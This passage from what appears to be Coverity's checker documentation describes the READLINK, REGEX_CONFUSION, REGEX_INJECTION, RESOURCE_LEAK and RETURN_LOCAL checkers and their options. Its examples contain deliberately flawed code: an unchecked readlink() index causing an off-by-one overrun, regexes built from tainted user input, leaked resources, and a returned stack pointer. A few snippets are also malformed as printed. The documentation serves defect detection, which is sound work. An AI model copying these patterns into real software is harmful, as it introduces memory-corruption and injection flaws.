PROPERTY_MIXUP:report_nonproperty_mismatch:<boolean> -
If set to true, the checker will report a mismatched member, even if that member
may not be an exposed property because it does not have a getter or setter
method with a corresponding name. Defaults to
PROPERTY_MIXUP:report_nonproperty_mismatch:true (all
languages).
PROPERTY_MIXUP:require_compatible_types:<boolean> - If
set to true, the checker will only report a getter or setter method whose
parameter or return value matches or has a type relationship (either as a parent
or child) with the suggested member that matches its name.Defaults to
PROPERTY_MIXUP:require_compatible_types:true (all
languages).
Supported Languages: C, C++, Objective-C, Objective-C++
READLINK reports many cases where the POSIX
readlink() function is used but the program does not safely place a
NULL terminator in the result buffer. The readlink() function
places the contents of a symbolic link into a buffer of a specified size. The return
value of readlink() can be anything between -1 and the size of
the buffer, and both endpoints require special handling.
The readlink() function does not append a null character to the
buffer, and truncates the contents in case the buffer is too small. The code must
manually null-terminate the buffer, but often defects arise when you unsafely use the
return value as an index. If using the return value as an index for null termination,
either pass one less than the size of the buffer or check that the return value is less
than the size of the buffer.
If the code does not null-terminate the resulting buffer, the STRING_NULL checker reports a defect. Also, if the code uses the return value as an index into the buffer without checking it against -1, the NEGATIVE_RETURNS checker reports a defect.
Enabled by default: READLINK is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more READLINK examples.
In the following example, a defect is reported
because the integer len is not checked that it is not -1 and that it is
less than sizeof(buff). The readlink() function can
return any value from -1 up to the size of the buffer. If it returns this maximum
amount, an off-by-one overflow results when attempting to manually null-terminate the
buffer.
void foo() {
int len, s;
char buff[128];
char *link;
len = readlink(link, buff, sizeof(buff));
buff[len] = 0;
}In the following example, the code does check if len is not -1, but there can be an
off-by-one overrun because when checking that len is less than
sizeof(buff), the comparison <= is used instead of
<.
void foo() {
int len, s;
char buff[128];
char *link;
len = readlink(link, buff, sizeof(buff));
if (len != -1 && len <= sizeof(buff))
}This section describes one or more events produced by the READLINK checker.
readlink_call: A call to the readlink
function where the size argument is equal to the size of the destination
buffer.
readlink: The return of the readlink
function is used as an index to the destination buffer.
REGEX_CONFUSION finds cases where a developer who is unaware that a method or parameter takes a regular expression (regex) passes a string that contains special regex characters (for example, a filename that contains a period or dot). Such a mistake can cause the program to interpret the string in an unintended way that causes errors.
For example, it is not obvious that the following Java parameters take a regular expression:
java.lang.String.replaceAll java.lang.String.replaceFirst java.lang.String.split
Enabled by default: REGEX_CONFUSION is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more REGEX_CONFUSION examples.
public class RegexConfusion {
String removeXmlExtension(String s) {
// Defect: Returns "m.xml" instead of "myxml" for "myxml.xml"
return s.replaceFirst(".xml", "");
}
}This section describes one or more events produced by the REGEX_CONFUSION checker.
REGEX_CONFUSION:report_character_hiding:<boolean> - When
this Java option is set to true, the checker
will report a defect on code like foo.replaceAll(".", "*") that
might be intended to hide all characters by replacing every character with a
*. Defaults to
REGEX_CONFUSION:report_character_hiding:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
This section describes one or more events produced by the REGEX_CONFUSION checker.
regex_expected - [Java] Main event: Identifies the location
of the call to confusing API method.
remediation - [Java] Explains how to match the pattern string
literally, which is typically the remedy for such a defect.
Supported Languages: C#, Java, JavaScript, Visual Basic, Swift
REGEX_INJECTION finds vulnerabilities that occur when uncontrolled dynamic data is used as part of a regular expression. This might allow a malicious user to access all or part of the matched content or to alter the behavior of the program.
Enablement for C#, Java, JavaScript, Visual Basic
Disabled by default: REGEX_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable REGEX_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable REGEX_INJECTION
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
Enablement for Swift
Enabled by default: REGEX_INJECTION is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
A REGEX_INJECTION defect shows a dataflow path by which untrusted (tainted) data is
used as a regular expression. The path starts at a source of untrusted data, such as
reading an HTTP request parameter in a server-side Web application in Java or C#, or
reading a property of the URL that an attacker might control (for example,
window.location.hash) in client-side JavaScript. From there, the events
in the defect show how this tainted data flows through the program and ends up being
used as a regular expression.
This section provides one or more REGEX_INJECTION examples.
String req = Request["tainted"]; //req contains tainted value
Regex rgx = new Regex(req); // Using tainted value to construct a Regex class
// is a REGEX_INJECTION defect.String foo = req.getParameter("foo");
Pattern pat = Pattern.compile("^(" + foo + ")?(foo|bar)");
Matcher mat = pat.matcher(document);
// ...// Setting a regular expression from a user's input var regex = new RegExp(location.hash.substring(1));
Dim req As String = Request("tainted") ' req contains tainted value
Dim rgx As Regex = New Regex(req) ' Using tainted value to construct a Regex class
' is a REGEX_INJECTION defect.
import Foundation
func processDocumentNode(string: String, store: NSUbiquitousKeyValueStore) -> [NSTextCheckingResult] {
// obtain the regex pattern from an insecure location
let regex: String = store.string(forKey: "regex")!
do {
let regex = try NSRegularExpression(pattern: regex) // Defect Here
return regex.matches(in: string,
range: NSMakeRange(0, string.utf16.count))
} catch {
print("Error")
}
return []
}This section describes one or more REGEX_INJECTION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
REGEX_INJECTION:distrust_all:<boolean> - [JavaScript
and Swift only] Setting this option to true is equivalent to setting all
trust_* checker options for this checker to false. Defaults to
REGEX_INJECTION:distrust_all:false.
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of
the cov-analyze command is set to high.
REGEX_INJECTION:trust_js_client_cookie:<boolean> -
[JavaScript only] When this option is set to false, the analysis does not trust
data from cookies in client-side JavaScript code, for example from
document.cookie. This option was formerly called
trust_client_cookie. Defaults to
REGEX_INJECTION:trust_js_client_cookie:true.
REGEX_INJECTION:trust_js_client_external:<boolean> -
[JavaScript only] When this option is set to
false, the analysis does not trust data from the response to an XMLHttpRequest
or similar in client-side JavaScript code. Note: this option was formerly called
trust_external. Defaults to
REGEX_INJECTION:trust_js_client_external:false.
REGEX_INJECTION:trust_js_client_html_element:<boolean> -
[JavaScript only] When this option is set to
false, the analysis does not trust data from user input on HTML elements such as
textarea and input elements in client-side
JavaScript code. Defaults to
REGEX_INJECTION:trust_js_client_html_element:true.
REGEX_INJECTION:trust_js_client_http_header:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not
trust data from HTTP response headers on the response to an
XMLHttpRequest or similar in client-side JavaScript code.
Defaults to
REGEX_INJECTION:trust_js_client_http_header:true.
REGEX_INJECTION:trust_js_client_http_referer:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not
trust data from the 'referer' HTTP header (from document.referrer)
in client-side JavaScript code. Defaults to
REGEX_INJECTION:trust_js_client_http_referer:false.
REGEX_INJECTION:trust_js_client_other_origin:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not
trust data from content in another frame or from another origin, for instance
from window.name, in client-side JavaScript code. Defaults to
REGEX_INJECTION:trust_js_client_other_origin:false.
REGEX_INJECTION:trust_js_client_url_query_or_fragment:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not
trust data from the query or fragment part of the URL, for instance from
location.hash or location.query, in client-side
JavaScript code. Defaults to
REGEX_INJECTION:trust_js_client_url_query_or_fragment:false.
REGEX_INJECTION:trust_command_line:<boolean> - [Swift
only] Setting this option to false causes the
analysis to treat command line arguments as tainted. Defaults to
REGEX_INJECTION:trust_command_line:true.
Setting this checker option will override the global
--trust-command-line and --distrust-command-line
command line options.
REGEX_INJECTION:trust_console:<boolean> - [Swift only]
Setting this option to false causes the analysis
to treat data from the console as tainted. Defaults to
REGEX_INJECTION:trust_console:true. Setting
this checker option will override the global --trust-console and
--distrust-console command line options.
REGEX_INJECTION:trust_cookie:<boolean> - [Swift only]
Setting this option to false causes the analysis to treat data from HTTP cookies
as tainted. Defaults to
REGEX_INJECTION:trust_cookie:false. Setting
this checker option will override the global --trust-cookie and
--distrust-cookie command line options.
REGEX_INJECTION:trust_database:<boolean> - [Swift only]
Setting this option to false causes the analysis to treat data from a database
as tainted. Defaults to
REGEX_INJECTION:trust_database:true. Setting
this checker option will override the global --trust-database and
--distrust-database command line options.
REGEX_INJECTION:trust_environment:<boolean> - [Swift
only] Setting this option to false causes the analysis to treat data from
environment variables as tainted. Defaults to
REGEX_INJECTION:trust_environment:true. Setting
this checker option will override the global --trust-environment
and --distrust-environment command line options.
REGEX_INJECTION:trust_filesystem:<boolean> - [Swift
only] Setting this option to false causes the analysis to treat data from the
filesystem as tainted. Defaults to
REGEX_INJECTION:trust_filesystem:true. Setting
this checker option will override the global --trust-filesystem and
--distrust-filesystem command line options.
REGEX_INJECTION:trust_http:<boolean> - [Swift only]
Setting this option to false causes the analysis to treat data from HTTP
requests as tainted. Defaults to
REGEX_INJECTION:trust_http:false. Setting this
checker option will override the global --trust-http and
--distrust-http command line options.
REGEX_INJECTION:trust_http_header:<boolean> - [Swift
only] Setting this option to false causes the analysis to treat data from HTTP
headers as tainted. Defaults to
REGEX_INJECTION:trust_http_header:false.
Setting this checker option will override the global
--trust-http-header and --distrust-http-header
command line options.
REGEX_INJECTION:trust_network:<boolean> - [Swift only]
Setting this option to false causes the analysis to treat data from the network
as tainted. Defaults to
REGEX_INJECTION:trust_network:false. Setting
this checker option will override the global --trust-network and
--distrust-network command line options.
REGEX_INJECTION:trust_rpc:<boolean> - [Swift only]
Setting this option to false causes the analysis to treat data from RPC requests
as tainted. Defaults to
REGEX_INJECTION:trust_rpc:false. Setting this
checker option will override the global --trust-rpc and
--distrust-rpc command line options.
REGEX_INJECTION:trust_system_properties:<boolean> -
[Swift only] Setting this option to false causes the analysis to treat data from
system properties as tainted. Defaults to
REGEX_INJECTION:trust_system_properties:true.
Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++, and Visual Basic
RESOURCE_LEAK looks for cases in which a program fails to guarantee release of system resources as soon as possible. An application that fails to release acquired resources can suffer performance degradation, crashes, denial of service, or the inability to successfully obtain a given resource.
Enabled by default: RESOURCE_LEAK is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
Android (Java only): For Android-based code, this checker finds issues related to user activities, screen activities, application state, and other items.
![]() | |
For details about the Dynamic Analysis version ot this checker, see Section 5.3, “RESOURCE_LEAK (Java Runtime)”. |
For C/C++, RESOURCE_LEAK finds many types of resource leaks from variables that go out of scope while "owning" a resource (most commonly, freshly allocated memory).
Small memory leaks can cause problems for processes running for long periods of time without restarting. Severe memory leaks can cause a process to crash. A denial-of-service attack can occur if user input or data from the network triggers a memory leak.
File descriptor or socket leaks can lead to crashes, denial of service, and the inability to open more files or sockets. The operating system limits how many file descriptors and sockets a process can own. After the limit is reached, the process must close some of the resources' open handles before allocating more. If the process has leaked these handles, there is no way to reclaim these resources until the process terminates.
Many memory leaks are on error paths where an error condition is encountered and
memory is leaked accidentally. Some of these cases can be eliminated by having a
single exit label in the function that every error exit goes to with a
goto statement. This exit label can free resources as
necessary.
A common technique for avoiding memory leaks is to use arenas that remember all memory allocated on the arena until a single freeing point frees it all. When appropriate, arena allocators have significant speed and correctness advantages.
In C++, the Resource Acquisition Is Initialization (RAII) idiom can free resources automatically. The idiom consists of a class with a constructor that allocates a resource and a destructor that frees the resource. When a local variable of that class type is declared, it will automatically call the destructor to free the resource when leaving the scope. This also protects against leaks caused by thrown exceptions.
By default, the checker makes the following assumptions to reduce false positives:
Unimplemented functions alias or free parameters.
Pointers that are passed through ... (ellipsis for
unspecified number of arguments) are being passed to a function that does
not cause a resource leak.
Memory is freed when main() returns.
A tracked pointer cast to an integer is being aliased.
You can enable options to change these assumptions and increase the number of defects reported.
In C# and Visual Basic, there is no guarantee that .NET Garbage Collector will
close system resources in time or at all even though, in some cases, it closes such
resources when they become unreachable by other objects. Relying on the garbage
collector or on finalizers to clean up these resources causes them to be retained
longer than necessary. This waste can lead to a state of resource exhaustion in
which your program or other programs that are running on the same system fail due to
their inability to obtain these resources. Thus, it is good practice to explicitly
release these resources as soon as possible. When available, the
Dispose() and Close() methods allow for the explicit
release of resources.
The RESOURCE_LEAK checker does not report defects in cases where it finds that a
Dispose() method can never release resources.
In Java and C# the RESOURCE_LEAK checker looks for failures to release system resources other than memory. Holding on to system resources longer than necessary can dramatically affect the throughput, availability, reliability, and scalability of an application and anything else competing for the same resources. For example, failing to close a database connection can keep it open unnecessarily and eventually lead to database connections being denied. Or, failing to close a file can keep other processes from manipulating that same file, or precipitate exhaustion of per-process, per-user, or system-wide open file handles.
In addition, the RESOURCE_LEAK checker for Java and C# can find some logical
errors, such as retaining references to objects that are never used again. These are
found because the checker looks for a specific pattern: the creation of an object
implementing IDisposable (C#), Closeable or
AutoCloseable (Java) in which something
interesting would happen in the execution of the Dispose
(C#) or close (Java) method, but that method is not called along a
given execution path.
To ensure the checker is broadly applicable to different kinds of resources, it
has a broad interpretation of something
interesting happening in the Dispose (C#) or
close (Java) method. As a result, when Dispose (C#) or
close (Java) is a no-op, such as for a StringWriter, the checker
does not consider the object to need closing (no defect). When Dispose
(C#) or close (Java) does something interesting other than release a
system resource, such as modify an object other than the one being closed, common
practice dictates that the method should be invoked when finished with the object.
Thus, failing to invoke Dispose or close in such a case is
reported as a RESOURCE_LEAK but actually constitutes either a logical
error or a violation of common practice. The "Java and C# Models" section below
describes how to customize the checker not to report on certain objects if
desired.
![]() | |
In Java the RESOURCE_LEAK checker finds leaks of resources that are referenced only by local variables. It works inter-procedurally to identify the methods that return resources and the methods that save or close resources that are passed into them. It does not track resources that are stored into object fields. You can use the Dynamic Analysis RESOURCE_LEAK checker to find leaks of such resources. |
In Java and C# runtime systems, the garbage collector cannot be relied upon to free system resources. The primary function of the garbage collector is to reclaim memory by finding objects that are no longer referenced. Since any sufficiently sized memory space can satisfy an allocation request, there's no guarantee when a particular object's memory will be reclaimed. Generational garbage collectors take advantage of this flexibility to optimize the speed of garbage collection, but this affects a secondary function of the garbage collector, which is to run finalizers on any objects it reclaims, so that system resources associated with reclaimed objects are themselves freed or reclaimed.
Because there is no guarantee when a particular object will be reclaimed, there is no guarantee when system resources associated with unreferenced objects will be reclaimed. The runtime can hold open unreferenced resources indefinitely while the garbage collector is doing its job of reclaiming enough memory for new objects, even if the program explicitly asks for the garbage collector to wake up and run.
Because of these limitations in the Java / C# garbage collector, a program
must Dispose (C#) or close (Java) an object
referencing system resources before losing the last reference to that object, to
ensure timely release of those resources. Simply calling Dispose or
close after finishing with the resource is often not sufficient
because the method will not be called if an exception is thrown.
We recommend the using statement in C# or the
try-with-resources statement in Java to ensure a disposable or
closeable object is disposed or closed on all paths exiting a block, including
exception cases. Otherwise, calling Dispose (C#) or
close (Java) in a finally block is equally
effective but more verbose and prone to mistakes.
We also recommend these idioms for all IDisposable,
Closeable, and AutoCloseable objects, because it
is hard to be certain about which objects do not actually need disposing or
closing. Sources on the internet can contain misleading or incorrect
information. Even if class X has an empty close method, a subclass
of X might have an interesting close method, or class X might be
modified in the future.
As described above, the RESOURCE_LEAK checker for Java and C# is intelligent about objects that don't need to be disposed or closed, but might overestimate the set of objects associated with resources that need to be released. Some resources might be practically inexhaustible in a particular environment: you're likely to run out of managed memory before exhausting the system resource. However, the same might not be true in other execution environments. And some objects reported by RESOURCE_LEAK simply are "expected to be disposed/closed" even if they do not hold on to system resources. The "Java and C# Models" section below describes how to customize the checker not to report on certain objects if desired.
To report a defect, the RESOURCE_LEAK checker has to determine with high confidence that no reference to the resource survives beyond execution of the current function, because such a reference could be used to close or dispose of the object later. Due to this and other analysis limitations, RESOURCE_LEAK does not currently report a defect on references assigned to fields of an object or to array elements.
A RESOURCE_LEAK defect consists of two parts: First it shows a resource, such as memory (in C/C++) or a file handle, socket, or database connection (in any language), being allocated or opened. Then it shows a control flow path on which all variables holding on to the resource go out of scope without the resource being properly cleaned up (by deallocating it, returning the handle to the operating system, closing the connection, and so on). In other words, it shows a path on which cleanup of the resource is impossible. At some function call sites, the path might indicate that the called function neither disposes of the resource nor stores it where it can be disposed of later.
This section provides one or more RESOURCE_LEAK examples.
int leak_example(int c) {
void *p = malloc(10);
if(c)
return -1; // "p" is leaked
/* ... */
free(p);
return 0;
}int wrong_error_check() {
void *p = malloc(10);
void *q = malloc(20);
if(!p || !q)
return -1; // "p" or "q" may be leaked if the other is NULL
/*...*/
free(q);
free(p);
return 0;
}int test(int i) {
void *p = malloc(10);
void *q = malloc(4);
if(i > 0)
p = q; /* p is overwritten and is the last pointer
else to the allocated memory */
free(q);
free(p);
return 0;
}void test(int c) {
FILE *p = fopen("foo.c", "rb");
if(c)
return; // leaking file pointer "p"
fclose(p);
}The following example shows RESOURCE_LEAK reporting a
defect when the allow_unimpl option is enabled:
extern void unimpl(void *p);
void calls_unimpl() {
char *p = strdup("memory");
unimpl(p); /* Defect: "p" is leaked because unimpl function
does not save memory */
}The following example shows RESOURCE_LEAK reporting a
defect when the allow_virtual option is enabled:
void simple(void *p) { /* does nothing */ }
void calls_fnptr() {
char *p = strdup("memory");
void (*fnptr)(void *) = simple;
fnptr(p); // Defect
}The following is an example of leaked handle defect:
int handle_leak_example(int c) {
int fd = open(“my_file”, MY_OPEN_OPTIONS);
if(c)
return -1; // "fd" is leaked
/* ... */
close(fd);
return 0;
}In the following example, the leak method stores a new
MyDisposable resource in d but never closes it.
class ResourceLeak {
class MyDisposable : IDisposable {
private FileStream fs;
public MyDisposable(String path) {
fs = File.OpenRead(path);
}
public void Dispose() {
fs.Close();
}
}
static void leak(string path) {
IDisposable d = new MyDisposable(path);
// Defect: The function exits without closing the obtained resource
}
}In the following example, the leak method stores a new
MyDisposable resource in d but never closes it.
Imports System
Imports System.IO
Class ResourceLeak
Class MyDisposable : Implements IDisposable
Private fs As FileStream
Public Sub New(path As String)
fs = File.OpenRead(path)
End Sub
Public Sub Dispose() Implements IDisposable.Dispose
fs.Close()
End Sub
End Class
Shared Sub leak(path As String)
Dim d As IDisposable = New MyDisposable(path)
' Defect: The function exits without closing the obtained resource
End Sub
End Classimport java.io.*;
public class ResourceLeak {
public void processFiles(String... srcs) throws IOException {
// Neither this method nor processStream closes
// the FileInputStream
for(String src : srcs) {
processStream(new FileInputStream(src)); // RESOURCE_LEAK defect
}
}
OutputStream dst;
private void processStream(InputStream src) throws IOException {
int b;
while ((b = src.read()) >= 0) {
dst.write(b);
}
}
}This section describes one or more RESOURCE_LEAK options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
RESOURCE_LEAK:allow_address_taken:<boolean> - When
this C/C++ option is true, the checker will
report a leak even when the address of the resource pointer is taken. The
checker does not keep track of the pointer address, so these reports have a high
probability of being false positives, since the code could free the resource
through the taken address later on. Defaults to
RESOURCE_LEAK:allow_address_taken:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
RESOURCE_LEAK:allow_aliasing:<boolean> - When this
C/C++ option and the
track_fields option are true, the checker reports a
resource leak for fields of potentially aliased pointers (for example,
parameters) if the pointers are freed. Setting this option to true might yield
more defects, but it can also cause the analysis to slow down and report more
false positives. Defaults to
RESOURCE_LEAK:allow_aliasing:false
RESOURCE_LEAK:allow_cast_to_int:<boolean> - When this
C/C++ option is true, the checker will
report a leak even if the resource pointer was at some point cast to an integer.
The checker does not keep track of what happens to such integers, so those
reports have a high chance of being false positives because the code could cast
the integer back to a pointer later. Defaults to
RESOURCE_LEAK:allow_cast_to_int:false (for C and C++
only; assumes that a pointer is being aliased when it is
cast).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
RESOURCE_LEAK:allow_constructor:<boolean> - When this
C++ option and the
allow_unimpl option are true, the checker will assume that
constructors do not alias arguments. Defaults to
RESOURCE_LEAK:allow_constructor:false (for C++ only)
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
RESOURCE_LEAK:allow_main:<boolean> - When this C/C++ option is true, the checker will report a
resource leak in a function called main. Often, a program uses
memory that is freed when main returns. By default, the
analysis does not report memory that is not freed in main
functions. Defaults to
RESOURCE_LEAK:allow_main:false (for C and C++ only)
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
RESOURCE_LEAK:allow_overwrite_model:<boolean> - When
this C/C++ option and the
track_fields option are true, the checker will report a
resource leak if a field that refers to a resource is overwritten in a function
call. Setting this option to true might find more defects, but it can also cause
the analysis to slow down and report more false positives. Defaults to
RESOURCE_LEAK:allow_overwrite_model:false (for C and
C++ only)
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
RESOURCE_LEAK:allow_template:<boolean> - When this
C++ option and the
allow_unimpl option are true, the checker will assume that
template functions do not alias arguments. Defaults
to RESOURCE_LEAK:allow_template:false (for C++ only)
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
RESOURCE_LEAK:allow_unimpl:<boolean> - When this
C/C++ option is true, the checker will
assume that a function does not alias (save) or free its arguments when its
implementation is unavailable to the analysis. Setting this option to true
usually causes the checker to report many false positives. However, you can use
the false positives to determine which free functions to model and
then run an analyses that return real defects that would not have been found
otherwise. Defaults to
RESOURCE_LEAK:allow_unimpl:false (for C and C++ only)
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
RESOURCE_LEAK:allow_virtual:<boolean> - When this
C++ option and the
allow_unimpl option are true, the checker will assume that
virtual calls do not alias or free their arguments. Defaults to RESOURCE_LEAK:allow_virtual:false (for C++
only)
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
RESOURCE_LEAK:no_vararg_leak:<boolean> - When this
C/C++ option is true, the checker will
not report a resource leak if a pointer is passed to a variadic function (a
function that can take different numbers of arguments). The C function
printf is an example of a variadic function that takes
one argument that specifies the output formatting and any number of arguments
providing the values to be formatted. By default, in this case, the checker
reports a defect because pointers are often passed to
printf, which does not prevent pointers from causing a
resource leak. You might use this option if you are encountering false positives
because a variadic function is freeing or aliasing parameters. Defaults to
RESOURCE_LEAK:no_vararg_leak:false (for C and C++
only)
RESOURCE_LEAK:report_handles:<boolean> - When this
C/C++ option is true, the checker will
report of leaks of non-pointer "handles," in addition to memory leaks. A fixed
list of handle opening functions is built into the checker, most of which are
POSIX functions, along with a similar list of handle closing functions. Direct
user modeling using Coverity modeling primitives is not yet supported, but custom
models can be written using open() and close() as the
opening and closing primitives. Defaults to
RESOURCE_LEAK:report_handles:true (for C and C++ only)
Example:
int my_custom_open(char const *name) {
return open(name, 0); /* second argument doesn't matter */
}
int my_custom_close(int fd) {
return close(fd);
}RESOURCE_LEAK:track_fields:<boolean> -When this
C/C++ option is true, the checker will
track structure fields and report resource leaks that involve resources referred
to by them. Setting this to true might find more defects, but it can also cause
the analysis to slow down and report more false positives. Defaults to
RESOURCE_LEAK:track_fields:false (for C and C++ only)
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
![]() | |
By default, the RESOURCE_LEAK checker suppresses several types of defect reports because they are often false positives. However, you can enable options to make this checker report more defects. Enabling these options will most likely increase the number of false positives. Some options can also increase the analysis time. |
This section describes one or more events produced by the RESOURCE_LEAK checker.
alloc_arg - [C/C++] A function that dynamically allocates
memory stores that memory in one of its arguments.
alloc_fn - [C/C++] A function is called that dynamically
allocates and returns memory.
leaked_handle - [C/C++] A handle that is the last reference
to an allocated resource goes out of scope.
leaked_storage - [C/C++] A pointer that is the last reference
to a dynamically allocated block of memory goes out of scope.
open_arg - [C/C++] A function that allocates a system
resource stores a handle for that resource in one of its arguments..
open_fn - [C/C++] A function is called that returns a handle
for an allocated system resource.
overwrite_var - [C/C++] A pointer or handle is overwritten
that held the last reference to a dynamically allocated block of memory or an
allocated system resource.
pass_arg - [C/C++] A pointer to dynamically allocated memory
is passed to a function that does not free that memory or store its reference in
a data structure persisting beyond the function's scope, or a handle for an
allocated system resource is passed to a function that does not close that
handle or store it. Suppress this event if that is not the case.
var_assign - [C/C++] A
pointer is assigned either the return value from a function that allocates
memory or a value from another pointer that holds dynamically allocated memory,
or a handle is assigned either the return value from a function that allocates a
system resource or a value from another handle that refers to an allocated
system resource.
The RESOURCE_LEAK checker has configurable false positives that involve cases where one of the following is true:
Coverity Analysis believes that memory was allocated when it was not.
Coverity Analysis believes that memory is not freed even though it was passed to a freeing function.
Coverity Analysis does not realize that a function call with an allocated pointer argument will, on all paths, keep a reference to that pointer in a persistent data structure.
To address these false positives, you can:
Create library functions indicating the proper behavior.
Annotate the code to ignore a reported event. This is the right solution when Coverity Analysis falsely assumes a data dependency in the code that creates a scenario in which a resource leak is likely to occur.
Modeling is the best option for suppressing a false positive when an allocation or deallocation function's abstract behavior is very simple but its implementation is not. Suppose, for example, that you have an allocation function that always returns a non-zero when memory is allocated and a 0 when it is not. Most allocation functions are implemented this way, and Coverity Analysis will, in most cases, analyze the allocation function and infer this abstraction.
If the analysis cannot infer the correct behavior, you can create a stub function
describing the correct behavior and add it to the Coverity Analysis analysis. If the function is
called my_alloc, for example, and the allocated pointer is
returned through argument 1, you can write the following model for
my_alloc:
int condition;
int my_alloc(void** ptr, size_t size)
{
if (condition) {
*ptr = 0;
return 0;
}
*ptr = __coverity_alloc__(size);
return 1;
}In
this function, there are two possible behaviors: 1) memory is allocated and the
return value is 1, or 2) memory is not allocated and the return
value is 0. The stub function uses an uninitialized variable,
condition, to indicate that both possibilities are likely. This function is not analyzed for bugs, so it is not wrong to use an uninitialized
variable. These stub functions are used to abstract the behavior of an interface. In
this case, the abstract behavior is that any call to this allocator can have one of
two equally likely outcomes. Using the variable condition
provides a simple way to encode the fact that these two possibilities are equally
likely regardless of the calling context. Alternatively, if all paths in a function
allocate memory, a coverity[+alloc] function annotation can be used
in place of a __coverity_alloc__ call.
Similarly, if Coverity Analysis does not understand that a particular function deallocates memory under certain conditions, the right solution is to add a stub function that explicitly deallocates the pointer supplied as an argument:
void my_free(void* ptr)
{
__coverity_free__(ptr);
}If
the behavior of my_free included contextual dependencies based
on the value of an argument or the return value, this could be encoded in the stub
function in a fashion similar to the my_alloc function above.
Alternatively, if all paths in a function free memory assigned to an argument, a
coverity[+free] function
annotation can be used in place of a __coverity_free__
call.You can increase the accuracy of the RESOURCE_LEAK checker by writing a small
stub function that demonstrates known allocation and freeing routines. Using this
supplemental information, Coverity Analysis is able to locate paths through the code where such
resources can be allocated but are not properly freed. By calling a Coverity
open() or close() method in Java (Open()
or Close() in C#), the analysis can determine which routines allocate
or free the given object.
Java example:
import com.coverity.primitives.Resource_LeakPrimitives;
public class ResourceLeakExample_Model {
ResourceLeakExample_Model() {
Resource_LeakPrimitives.open(this);
}
void close() {
Resource_LeakPrimitives.close(this);
}
}C# example:
using Coverity.Primitives;
public class ResourceLeakExample_Model {
ResourceLeakExample_Model() {
Reference.Open(this);
}
public void Dispose() {
Reference.Close(this);
}
}With the above model, ResourceLeakExample_Model and any subclasses
are treated as resources. There is currently no easy way to model that all
implementors of an interface should be considered a resource; however, the analysis
does consider all implementors of java.io.Closeable()
(System.IDisposable in C#) as possible resources.
A common idiom in Java and C# is to wrap resources (for example, streams) in
another resource. In the following Java example, fis and
bis are treated as aliases of the same resource, because
closing either is sufficient for releasing the underlying resource.
Java example:
FileInputStream fis = new FileInputStream("foo");
BufferedInputStream bis = new BufferedInputStream(fis);C# example:
var fs = new FileStream("foo", FileMode.Create);
var sw = new StreamWriter(fs);Modeling can eliminate false positive defects involving wrappers that are unknown
to the analysis, using the alias primitive in Java (Alias
in C#), as in the following examples.
Java example:
public class ResourceLeakExample_Wrapper {
public ResourceLeakExample_Wrapper(OutputStream out) {
// Let 'this' refer to the same resource as 'out'
Resource_LeakPrimitives.alias(this, out);
}
// ... (more methods)
}C# example:
public class ResourceLeakExample_Wrapper {
public ResourceLeakExample_Wrapper(System.IO.Stream out) {
// Let 'this' refer to the same resource as 'out'
Resource.Alias(this, out);
}
// ... (more methods)
}Modeling can also prevent the analysis from treating specific implementors of
java.io.Closeable (System.IDisposable in C#) as
resources that need to be closed. To do this, simply close the potential resource as
soon as it is created, in each constructor:
Java example:
public class ResourceLeakExample_DoesntNeedClosing
extends java.io.Reader // (which implements Closeable)
{
public ResourceLeakExample_DoesntNeedClosing() {
// This potential resource does not need closing
Resource_LeakPrimitives.close(this);
}
public ResourceLeakExample_DoesntNeedClosing(int i) {
// Need to model all constructors
Resource_LeakPrimitives.close(this);
}
// ... (more methods)
}Note that the subclasses will not be treated as resources.
C# example:
public class ResourceLeakExample_DoesntNeedClosing
: System.IO.Stream // (which implements IDisposable)
{
public ResourceLeakExample_DoesntNeedClosing() {
// This potential resource does not need closing
Reference.Close(this);
}
{
public ResourceLeakExample_DoesntNeedClosing(int i) {
// Need to model all constructors
Reference.Close(this);
}
// ... (more methods)
}Supported Languages: C, C++, Objective-C, Objective-C++
RETURN_LOCAL finds many cases where the address of a local variable is returned from a function. The address is invalid as soon as the function returns, so the usual result is memory corruption and unpredictable behavior.
In C and C++, all local variables are lost upon function exit as a stack frame is removed and control is returned to the calling function. Variables that were allocated on the callee's stack are no longer relevant; their memory will be overwritten when a new function is called. Pointers to local stack variables returned to a calling function can cause memory corruption and inconsistent behavior. This checker finds instances where a function returns a pointer to a stack-allocated variable.
Enabled by default: RETURN_LOCAL is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more RETURN_LOCAL examples.
some_struct * basic_return_local(struct some_struct *b) {
struct some_struct a(*b); // a is copy-constructed onto the stack
return &a; // Returns a pointer to local struct a
}This section describes one or more RETURN_LOCAL options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
